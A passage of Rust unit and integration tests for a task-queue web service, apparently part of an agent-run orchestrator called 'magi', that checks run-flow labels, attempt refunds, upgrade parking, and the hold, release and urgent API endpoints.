15992            assert!(f.edges.iter().all(|e| e.from != "chat"));
15993        }
15994    }
15995
15996    const FA: &str = "20260902-140501-aaaa";
15997    const FB: &str = "20260902-140502-bbbb";
15998
15999    #[test]
16000    fn flow_follows_blocked_retry_merged_to_done() {
16001        let mut t = flow_task(&[FA, FB]);
16002        t.status = TaskStatus::Done;
16003        let f = flow_for(
16004            &t,
16005            &[
16006                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16007                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16008            ],
16009        );
16010        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16011        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16012        assert_eq!(f.edges.len(), 3);
16013        assert_eq!(f.edges[0].label, "claimed");
16014        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16015        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16016        assert_eq!(f.edges[2].label, "merged \u{2192} done");
16017        assert_eq!(
16018            f.nodes[2].href.as_deref(),
16019            Some("#/runs/20260902-140502-bbbb")
16020        );
16021        assert!(f.nodes[2].decided);
16022    }
16023
16024    #[test]
16025    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16026        let quota = || {
16027            flow_run(RunStatus::Stalled, |s| {
16028                s.quota.push(crate::run::QuotaLoss {
16029                    seat: "judge-1".to_owned(),
16030                    node: "judge".to_owned(),
16031                    at: Timestamp::now(),
16032                    reset: None,
16033                })
16034            })
16035        };
16036        let mut t = flow_task(&[FA, FA]);
16037        t.status = TaskStatus::Queued;
16038        let f = flow_for(&t, &[(FA, Some(quota()))]);
16039        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16040        assert_eq!(f.nodes[1].note, Some("interrupted"));
16041        assert_eq!(
16042            f.nodes[1].status, None,
16043            "no outcome copied onto an earlier pass"
16044        );
16045        assert_eq!(
16046            f.edges[1].attempt,
16047            AttemptCost::Unknown,
16048            "a resume does not prove the earlier pass was refunded"
16049        );
16050        assert!(f.edges[1].label.contains("resume the same run"));
16051        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16052        assert_eq!(
16053            f.edges[2].label,
16054            "stalled after a resume, refund unknown \u{2192} queued"
16055        );
16056        assert!(!f.nodes[2].decided, "a stall is not a decision");
16057        assert_eq!(f.nodes[2].note, Some("no verdict"));
16058    }
16059
16060    #[test]
16061    fn flow_single_pass_quota_stall_is_refunded() {
16062        let t = flow_task(&[FA]);
16063        let f = flow_for(
16064            &t,
16065            &[(
16066                FA,
16067                Some(flow_run(RunStatus::Stalled, |s| {
16068                    s.quota.push(crate::run::QuotaLoss {
16069                        seat: "judge-1".to_owned(),
16070                        node: "judge".to_owned(),
16071                        at: Timestamp::now(),
16072                        reset: None,
16073                    })
16074                })),
16075            )],
16076        );
16077        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16078    }
16079
16080    #[test]
16081    fn flow_parked_refunds_and_stall_without_quota_spends() {
16082        let mut t = flow_task(&[FA]);
16083        t.status = TaskStatus::Queued;
16084        let f = flow_for(
16085            &t,
16086            &[(
16087                FA,
16088                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16089            )],
16090        );
16091        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16092        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16093        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16094        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16095        assert!(!f.nodes[1].decided);
16096    }
16097
16098    #[test]
16099    fn flow_keeps_an_unreadable_run_as_its_own_node() {
16100        let t = flow_task(&[FA, FB]);
16101        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16102        assert_eq!(f.nodes[1].note, Some("unreadable"));
16103        assert!(!f.nodes[1].readable);
16104        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16105        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16106    }
16107
16108    #[test]
16109    fn flow_names_the_branch_of_a_review_only_run() {
16110        let t = flow_task(&[FA]);
16111        let f = flow_for(
16112            &t,
16113            &[(
16114                FA,
16115                Some(flow_run(RunStatus::Merged, |s| {
16116                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16117                })),
16118            )],
16119        );
16120        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16121        assert_eq!(
16122            f.nodes[1].detail.as_deref(),
16123            Some("review-only run of branch magi/x/A")
16124        );
16125    }
16126
16127    #[test]
16128    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16129        let mut t = flow_task(&[FA]);
16130        t.status = TaskStatus::Held;
16131        let pr = crate::run::PrRecord {
16132            url: "https://example.test/pr/1".to_owned(),
16133            number: 1,
16134            state: "open".to_owned(),
16135            checks: "green".to_owned(),
16136            round: 0,
16137            rounds: 3,
16138            red_at_merge: Vec::new(),
16139        };
16140        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16141        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16142        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16143        t.status = TaskStatus::Done;
16144        let f = flow_for(&t, &[(FA, Some(blocked))]);
16145        assert_eq!(f.edges[1].label, "closed by hand: task is done");
16146    }
16147
16148    #[test]
16149    fn flow_with_no_runs_goes_from_queued_to_queued() {
16150        let t = flow_task(&[]);
16151        let f = flow_for(&t, &[]);
16152        assert_eq!(f.nodes.len(), 2);
16153        assert_eq!(f.edges.len(), 1);
16154        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16155        assert_eq!(f.edges[0].attempt, AttemptCost::None);
16156    }
16157
16158    /// A run parked mid-flight keeps a non-terminal status; the page must
16159    /// still say why it stopped and that the attempt came back.
16160    #[test]
16161    fn a_parked_non_terminal_run_is_explained_as_parked() {
16162        let mut s = RunState::new(
16163            PathBuf::from("/repo/magi"),
16164            "main".to_owned(),
16165            "0123456789abcdef".to_owned(),
16166            "Do it".to_owned(),
16167            Config::default(),
16168        );
16169        s.status = RunStatus::Implementing;
16170        s.parked = true;
16171        let task = Task::new(
16172            "t".to_owned(),
16173            "Do it".to_owned(),
16174            PathBuf::from("/repo/magi"),
16175            Source::Human,
16176        );
16177        let v = task_run_view(
16178            "20260902-140501-aaaa",
16179            Some(&s),
16180            RunSlot {
16181                n: 1,
16182                resumed: false,
16183                resumed_later: None,
16184                prior: None,
16185                last: true,
16186                ..RunSlot::default()
16187            },
16188            &task,
16189        );
16190        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16191    }
16192
16193    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16194        let mut s = flow_run(RunStatus::Implementing, edit);
16195        s.parked = false;
16196        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16197        task_run_view(
16198            "20260902-140501-aaaa",
16199            Some(&s),
16200            RunSlot {
16201                n: 1,
16202                resumed: false,
16203                resumed_later: Some(2),
16204                prior: None,
16205                last: false,
16206                ..RunSlot::default()
16207            },
16208            &task,
16209        )
16210    }
16211
16212    #[test]
16213    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16214        let v = earlier_pass_view(|_| {});
16215        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16216        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16217        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16218        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16219        assert_eq!(v.exit, RunExit::Interrupted);
16220        assert_eq!(v.attempt, AttemptCost::Unknown);
16221    }
16222
16223    #[test]
16224    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16225        let v = earlier_pass_view(|s| {
16226            s.quota.push(crate::run::QuotaLoss {
16227                seat: "judge-1".to_owned(),
16228                node: "judge".to_owned(),
16229                at: Timestamp::now(),
16230                reset: None,
16231            });
16232        });
16233        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16234        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16235        assert_eq!(v.attempt, AttemptCost::Unknown);
16236    }
16237
16238    #[test]
16239    fn the_current_pass_states_its_recorded_cause_and_cost() {
16240        let slot = || RunSlot {
16241            n: 1,
16242            resumed: false,
16243            resumed_later: None,
16244            prior: None,
16245            last: true,
16246            ..RunSlot::default()
16247        };
16248        let task = flow_task(&["20260902-140501-aaaa"]);
16249        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16250        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16251        assert_eq!(
16252            (v.exit, v.attempt),
16253            (RunExit::Parked, AttemptCost::Refunded)
16254        );
16255        let spent = flow_run(RunStatus::Blocked, |_| {});
16256        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16257        assert_eq!(v.attempt, AttemptCost::Spent);
16258        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16259    }
16260
16261    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16262        crate::run::RunPass {
16263            index,
16264            started_at: Timestamp::now(),
16265            resumed: index > 0,
16266            ended_at: end.as_ref().map(|_| Timestamp::now()),
16267            end,
16268            task_entry: true,
16269        }
16270    }
16271
16272    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16273        Some(crate::run::PassEnd::Parked { cause })
16274    }
16275
16276    fn upgrade_cause() -> crate::run::ParkCause {
16277        crate::run::ParkCause::Upgrade {
16278            from: "0.121.0".to_owned(),
16279            to: Some("0.121.1".to_owned()),
16280        }
16281    }
16282
16283    fn settled_pass(
16284        run: &str,
16285        index: usize,
16286        cost: crate::queue::PassCost,
16287    ) -> crate::queue::TaskPass {
16288        crate::queue::TaskPass {
16289            run: run.to_owned(),
16290            pass_index: index,
16291            started_at: None,
16292            cost,
16293            attempts_after: 1,
16294            settled_at: Timestamp::now(),
16295            parked: None,
16296        }
16297    }
16298
16299    const RUN_X: &str = "20261011-223708-4334";
16300
16301    #[test]
16302    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16303        use crate::queue::PassCost;
16304        let run = flow_run(RunStatus::Implementing, |s| {
16305            s.passes = vec![
16306                recorded_pass(0, parked(upgrade_cause())),
16307                recorded_pass(1, None),
16308            ];
16309        });
16310        let mut task = flow_task(&[RUN_X, RUN_X]);
16311        task.attempts = 1;
16312        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16313        let h = task_history(&task, |_| Some(run.clone()));
16314        assert_eq!(h.len(), 2);
16315        assert_eq!(h[0].kind, "competition");
16316        assert_eq!(h[1].kind, "resume");
16317        assert_eq!(
16318            (h[0].exit, h[0].attempt),
16319            (RunExit::Parked, AttemptCost::Refunded)
16320        );
16321        assert!(
16322            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16323            "{}",
16324            h[0].outcome
16325        );
16326        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16327        assert!(
16328            h[0].outcome.contains("pass #2 resumed the same run"),
16329            "{}",
16330            h[0].outcome
16331        );
16332        assert!(
16333            h[0].outcome.contains("pass 1 of 2 over run"),
16334            "{}",
16335            h[0].outcome
16336        );
16337        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16338        assert_eq!(
16339            h[0].exit_label,
16340            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16341        );
16342        let f = task_flow(&task, &h, 2, None);
16343        // Two passes of one run, one of two attempts consumed.
16344        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16345        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16346        assert!(
16347            f.edges[1].label.contains("upgrade 0.121.0"),
16348            "{}",
16349            f.edges[1].label
16350        );
16351        assert!(
16352            f.edges[1].label.contains("resume the same run"),
16353            "{}",
16354            f.edges[1].label
16355        );
16356        assert_eq!(f.nodes[1].note, Some("parked"));
16357    }
16358
16359    #[test]
16360    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16361        let mut a = flow_run(RunStatus::Implementing, |s| {
16362            s.passes = vec![
16363                recorded_pass(0, parked(upgrade_cause())),
16364                recorded_pass(1, None),
16365            ];
16366        });
16367        let mut b = flow_run(RunStatus::Failed, |s| {
16368            s.passes = vec![recorded_pass(0, None)];
16369        });
16370        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16371        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16372        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16373        let mut task = flow_task(&[]);
16374        task.start("a".into());
16375        task.start("b".into());
16376        task.start("a".into());
16377        assert_eq!(task.runs, ["b", "a"]);
16378        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16379        let h = task_history(&task, |id| {
16380            Some(if id == "a" { a.clone() } else { b.clone() })
16381        });
16382        assert_eq!(
16383            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16384            ["a", "b", "a"]
16385        );
16386        assert_eq!(h[0].attempt, AttemptCost::Refunded);
16387        assert!(h[0].outcome.contains("upgrade"));
16388        assert_eq!(h[2].kind, "resume");
16389        assert!(h[2].pass.is_some());
16390        // The old repeated-id format must show the same recorded passes.
16391        task.runs = vec!["a".into(), "b".into(), "a".into()];
16392        let old = task_history(&task, |id| {
16393            Some(if id == "a" { a.clone() } else { b.clone() })
16394        });
16395        assert_eq!(
16396            old.iter()
16397                .map(|v| (&v.id, &v.kind, v.attempt))
16398                .collect::<Vec<_>>(),
16399            h.iter()
16400                .map(|v| (&v.id, &v.kind, v.attempt))
16401                .collect::<Vec<_>>()
16402        );
16403    }
16404
16405    #[test]
16406    fn an_upgrade_whose_target_was_not_known_says_so() {
16407        let run = flow_run(RunStatus::Implementing, |s| {
16408            s.passes = vec![
16409                recorded_pass(
16410                    0,
16411                    parked(crate::run::ParkCause::Upgrade {
16412                        from: "0.121.0".to_owned(),
16413                        to: None,
16414                    }),
16415                ),
16416                recorded_pass(1, None),
16417            ];
16418        });
16419        let task = flow_task(&[RUN_X, RUN_X]);
16420        let h = task_history(&task, |_| Some(run.clone()));
16421        assert!(
16422            h[0].outcome.contains("upgrade from 0.121.0"),
16423            "{}",
16424            h[0].outcome
16425        );
16426        // No settle record: the refund is not claimed.
16427        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16428    }
16429
16430    #[test]
16431    fn each_pass_keeps_its_own_cause_across_several_resumes() {
16432        use crate::queue::PassCost;
16433        use crate::run::ParkCause;
16434        let run = flow_run(RunStatus::Implementing, |s| {
16435            s.passes = vec![
16436                recorded_pass(0, parked(upgrade_cause())),
16437                recorded_pass(
16438                    1,
16439                    parked(ParkCause::Interrupt {
16440                        reason: "task a1b2 asked to run first".to_owned(),
16441                    }),
16442                ),
16443                recorded_pass(2, parked(ParkCause::Operator)),
16444                recorded_pass(3, None),
16445            ];
16446        });
16447        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16448        task.attempts = 1;
16449        task.passes = (0..3)
16450            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16451            .collect();
16452        let h = task_history(&task, |_| Some(run.clone()));
16453        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16454        assert!(
16455            h[1].outcome.contains("task a1b2 asked to run first"),
16456            "{}",
16457            h[1].outcome
16458        );
16459        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16460        assert!(
16461            h[2].outcome.contains("operator asked the loop to park"),
16462            "{}",
16463            h[2].outcome
16464        );
16465        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16466        let f = task_flow(&task, &h, 2, None);
16467        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16468    }
16469
16470    #[test]
16471    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16472        let run = flow_run(RunStatus::Implementing, |s| {
16473            s.passes = vec![
16474                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16475                recorded_pass(1, None),
16476            ];
16477        });
16478        let task = flow_task(&[RUN_X, RUN_X]);
16479        let h = task_history(&task, |_| Some(run.clone()));
16480        assert_eq!(h[0].exit, RunExit::Interrupted);
16481        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16482        assert!(
16483            h[0].outcome.contains("without recording why"),
16484            "{}",
16485            h[0].outcome
16486        );
16487        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16488        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16489    }
16490
16491    #[test]
16492    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16493        use crate::queue::PassCost;
16494        // Three entries, but the run only began keeping passes at the last
16495        // two: the first is legacy and must not be given a cause.
16496        let run = flow_run(RunStatus::Implementing, |s| {
16497            s.passes = vec![
16498                recorded_pass(0, parked(upgrade_cause())),
16499                recorded_pass(1, None),
16500            ];
16501        });
16502        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16503        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16504        let h = task_history(&task, |_| Some(run.clone()));
16505        assert!(h[0].pass.is_none());
16506        assert_eq!(h[0].exit, RunExit::Interrupted);
16507        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16508        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16509        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16510        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16511        // A run with no passes at all is entirely unknown.
16512        let legacy = flow_run(RunStatus::Implementing, |_| {});
16513        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16514        assert!(h.iter().all(|v| v.pass.is_none()));
16515        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16516    }
16517
16518    #[test]
16519    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16520        use crate::queue::PassCost;
16521        // Pass 1 is a web-button resume: a pass of the run, no entry of the
16522        // task. The two entries are passes 0 and 2.
16523        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16524        web.task_entry = false;
16525        let run = flow_run(RunStatus::Implementing, |s| {
16526            s.passes = vec![
16527                recorded_pass(0, parked(upgrade_cause())),
16528                web.clone(),
16529                recorded_pass(2, None),
16530            ];
16531        });
16532        let mut task = flow_task(&[RUN_X, RUN_X]);
16533        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16534        let h = task_history(&task, |_| Some(run.clone()));
16535        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16536        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16537
16538        // Legacy first entry, then a web resume that parked for an upgrade,
16539        // then the daemon's pass: the legacy entry must stay unknown.
16540        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16541        web0.task_entry = false;
16542        let run = flow_run(RunStatus::Implementing, |s| {
16543            s.passes = vec![web0.clone(), recorded_pass(1, None)];
16544        });
16545        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16546        assert!(h[0].pass.is_none());
16547        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16548        assert!(h[1].pass.is_some());
16549    }
16550
16551    #[tokio::test]
16552    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16553        let dir = tempfile::tempdir().unwrap();
16554        let queue = Queue::at(dir.path().join("queue"));
16555        let ui = Arc::new(Ui::new(
16556            queue.clone(),
16557            Questions::at(dir.path().join("questions")),
16558            Talks::at(dir.path().join("talks")),
16559            dir.path().join("runs"),
16560            dir.path().to_path_buf(),
16561            dir.path().to_path_buf(),
16562        ));
16563        let mut t = Task::new(
16564            "recover".into(),
16565            "Inspect".into(),
16566            PathBuf::from("."),
16567            Source::Human,
16568        );
16569        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16570        t.start("run-A".into());
16571        t.release_operator("choice", Some("resume-question"));
16572        t.resume_override = Some(crate::queue::OperatorResume {
16573            question_id: "resume-question".into(),
16574            at: jiff::Timestamp::now(),
16575            conductor_rehold: None,
16576            forced: true,
16577            pinned_run: Some("run-A".into()),
16578        });
16579        t.hold_machine(Some("inspection pending".into()));
16580        t.edit("recover".into(), "Reuse approved PR head".into())
16581            .unwrap();
16582        queue.put(&mut t).unwrap();
16583        let mut cli = t.clone();
16584        cli.release_operator("cli", None);
16585        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16586        let reloaded = queue.get(&t.id).unwrap();
16587        assert_eq!(reply.task.status, TaskStatus::Queued);
16588        assert!(reloaded.resume_override.is_none());
16589        assert_eq!(reloaded.answers, t.answers);
16590        let mut web = reloaded.resumption.unwrap();
16591        let cli = cli.resumption.unwrap();
16592        assert_eq!(web.source, "web");
16593        web.source = cli.source.clone();
16594        web.at = cli.at;
16595        assert_eq!(web, cli);
16596    }
16597
16598    #[tokio::test]
16599    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16600        let f = Fixture::start().await;
16601        let queue = f.queue();
16602        let mut task = Task::new(
16603            "spent".to_owned(),
16604            "Try again".to_owned(),
16605            PathBuf::from("/repo/magi"),
16606            Source::Human,
16607        );
16608        task.start("20260902-140502-bbbb".to_owned());
16609        task.fail("agent gave up", 9);
16610        queue.put(&mut task).expect("file the task");
16611
16612        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16613        assert_eq!(held.status, 200);
16614        assert_eq!(held.json()["status_str"], "held");
16615
16616        let released = f
16617            .post(&format!("/api/queue/{}/release", task.id), None)
16618            .await;
16619        assert_eq!(released.status, 200);
16620        assert_eq!(released.json()["status_str"], "queued");
16621        assert_eq!(released.json()["resumption"]["source"], "web");
16622        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16623        let mut cli = task.clone();
16624        cli.release_operator("cli", None);
16625        let web = queue.get(&task.id).unwrap().resumption.unwrap();
16626        let cli = cli.resumption.unwrap();
16627        assert_eq!(web.instruction, cli.instruction);
16628        assert_eq!(web.answers_through, cli.answers_through);
16629        assert_eq!(web.runs_through, cli.runs_through);
16630        assert_eq!(web.cleared_reason, cli.cleared_reason);
16631        assert_eq!(
16632            released.json()["attempts"],
16633            0,
16634            "release is a real second chance, not an instant re-hold"
16635        );
16636        assert_eq!(
16637            queue.get(&task.id).expect("reload").status,
16638            TaskStatus::Queued,
16639            "the change is on disk, not only in the reply"
16640        );
16641        assert!(
16642            !f.home
16643                .path()
16644                .join("queue")
16645                .join(format!("{}.lock", task.id))
16646                .exists(),
16647            "the claim the mutation took is released again"
16648        );
16649    }
16650
16651    #[tokio::test]
16652    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16653        let f = Fixture::start().await;
16654        let queue = f.queue();
16655        let mut task = Task::new(
16656            "busy".to_owned(),
16657            "Running right now".to_owned(),
16658            PathBuf::from("/repo/magi"),
16659            Source::Human,
16660        );
16661        queue.put(&mut task).expect("file the task");
16662        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16663
16664        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16665
16666        assert_eq!(res.status, 409);
16667        assert_eq!(
16668            queue.get(&task.id).expect("reload").status,
16669            TaskStatus::Queued,
16670            "the refused hold changed nothing"
16671        );
16672    }
16673
16674    #[tokio::test]
16675    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16676        let f = Fixture::start().await;
16677        let queue = f.queue();
16678        let mut task = Task::new(
16679            "waiting on the migration".to_owned(),
16680            "Do the thing".to_owned(),
16681            PathBuf::from("/repo/magi"),
16682            Source::Human,
16683        );
16684        queue.put(&mut task).expect("file the task");
16685
16686        let held = f
16687            .post(
16688                &format!("/api/queue/{}/hold", task.id),
16689                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16690            )
16691            .await;
16692        assert_eq!(held.status, 200, "{}", held.body);
16693        assert_eq!(held.json()["status_str"], "held");
16694        assert_eq!(
16695            held.json()["hold_reason"],
16696            "waiting for 20260101-000000-aaaa to land"
16697        );
16698
16699        let listed = f.get("/api/queue").await.json();
16700        assert_eq!(
16701            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16702            "the card reads the reason off the same list route"
16703        );
16704
16705        // A hold with no body at all must keep working - most holds have no
16706        // reason to give.
16707        let mut plain = Task::new(
16708            "no reason given".to_owned(),
16709            "Do another thing".to_owned(),
16710            PathBuf::from("/repo/magi"),
16711            Source::Human,
16712        );
16713        queue.put(&mut plain).expect("file the task");
16714        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16715        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16716        assert!(held_plain.json()["hold_reason"].is_null());
16717
16718        let released = f
16719            .post(&format!("/api/queue/{}/release", task.id), None)
16720            .await;
16721        assert_eq!(released.status, 200);
16722        assert!(
16723            released.json()["hold_reason"].is_null(),
16724            "a release must clear the reason so the next hold does not inherit it"
16725        );
16726    }
16727
16728    #[test]
16729    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16730        for urgent in [true, false] {
16731            let body: UrgentBody =
16732                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16733            assert_eq!(body.urgent, urgent);
16734        }
16735        for input in [
16736            r#"{}"#,
16737            r#"{"urgent":null}"#,
16738            r#"{"urgent":"true"}"#,
16739            r#"{"urgent":1}"#,
16740            r#"{"urgent":true,"extra":false}"#,
16741        ] {
16742            assert!(
16743                serde_json::from_str::<UrgentBody>(input).is_err(),
16744                "{input}"
16745            );
16746        }
16747    }
16748
16749    #[tokio::test]
16750    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
16751        let home = TempDir::new().unwrap();
16752        let q = Queue::at(home.path().join("queue"));
16753        let ui = Arc::new(Ui::new(
16754            q.clone(),
16755            Questions::at(home.path().join("questions")),
16756            Talks::at(home.path().join("talks")),
16757            home.path().join("runs"),
16758            home.path().into(),
16759            home.path().into(),
16760        ));
16761        let mut task = Task::new(
16762            "urgent handler".into(),
16763            "keep".into(),
16764            home.path().into(),
16765            Source::Human,
16766        );
16767        for status in [TaskStatus::Queued, TaskStatus::Held] {
16768            task.status = status;
16769            q.put(&mut task).unwrap();
16770            for urgent in [true, true, false, false] {
16771                let saved = queue_urgent(
16772                    State(Arc::clone(&ui)),
16773                    Path(task.short().into()),
16774                    Ok(Json(UrgentBody { urgent })),
16775                )
16776                .await
16777                .unwrap();
16778                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16779                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16780            }
16781        }
16782        task.status = TaskStatus::Queued;
16783        q.put(&mut task).unwrap();
16784        let claim = q.claim(&task.id).unwrap();
16785        let error = queue_urgent(
16786            State(Arc::clone(&ui)),
16787            Path(task.id.clone()),
16788            Ok(Json(UrgentBody { urgent: true })),
16789        )
16790        .await
16791        .unwrap_err();
16792        assert_eq!(error.status, StatusCode::CONFLICT);
16793        assert!(error.message.contains("released"));
16794        drop(claim);
16795        for status in [
16796            TaskStatus::Running,
16797            TaskStatus::Done,
16798            TaskStatus::Failed,
16799            TaskStatus::Blocked,
16800            TaskStatus::Parked,
16801        ] {
16802            task.status = status;
16803            q.put(&mut task).unwrap();
16804            let error = queue_urgent(
16805                State(Arc::clone(&ui)),
16806                Path(task.id.clone()),
16807                Ok(Json(UrgentBody { urgent: false })),
16808            )
16809            .await
16810            .unwrap_err();
16811            assert_eq!(error.status, StatusCode::BAD_REQUEST);
16812            assert!(error.message.contains(status.as_str()));
16813        }
16814    }
16815
16816    #[tokio::test]
16817    async fn urgent_api_updates_preserves_and_validates_tasks() {
16818        let f = Fixture::start().await;
16819        let q = f.queue();
16820        let mut t = Task::new(
16821            "urgent API".into(),
16822            "unchanged".into(),
16823            PathBuf::from("/repo/magi"),
16824            Source::Human,
16825        );
16826        t.attempts = 2;
16827        t.priority = 9;
16828        t.interrupt = true;
16829        t.hold_reason = Some("waiting for approval".into());
16830        for status in [TaskStatus::Queued, TaskStatus::Held] {
16831            t.status = status;
16832            q.put(&mut t).unwrap();
16833            for urgent in [true, true, false, false] {
16834                let response = f
16835                    .post(
16836                        &format!("/api/queue/{}/urgent", t.short()),
16837                        Some(&format!("{{\"urgent\":{urgent}}}")),
16838                    )
16839                    .await;
16840                assert_eq!(response.status, 200, "{}", response.body);
16841                assert_eq!(response.json()["urgent"], urgent);
16842                let saved = q.get(&t.id).unwrap();
16843                let mut before = serde_json::to_value(&t).unwrap();
16844                let mut after = serde_json::to_value(saved).unwrap();
16845                before["urgent"] = urgent.into();
16846                before.as_object_mut().unwrap().remove("updated_at");
16847                after.as_object_mut().unwrap().remove("updated_at");
16848                assert_eq!(after, before);
16849            }
16850        }
16851        let route = format!("/api/queue/{}/urgent", t.id);
16852        for body in [
16853            r#"{}"#,
16854            r#"{"urgent":null}"#,
16855            r#"{"urgent":"true"}"#,
16856            r#"{"urgent":1}"#,
16857            r#"{"urgent":true,"extra":false}"#,
16858            "{",
16859        ] {
16860            assert_eq!(f.post(&route, Some(body)).await.status, 400);
16861        }
16862        t.status = TaskStatus::Queued;
16863        q.put(&mut t).unwrap();
16864        let claim = q.claim(&t.id).unwrap();
16865        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16866        assert_eq!(response.status, 409, "{}", response.body);
16867        assert!(!q.get(&t.id).unwrap().urgent);
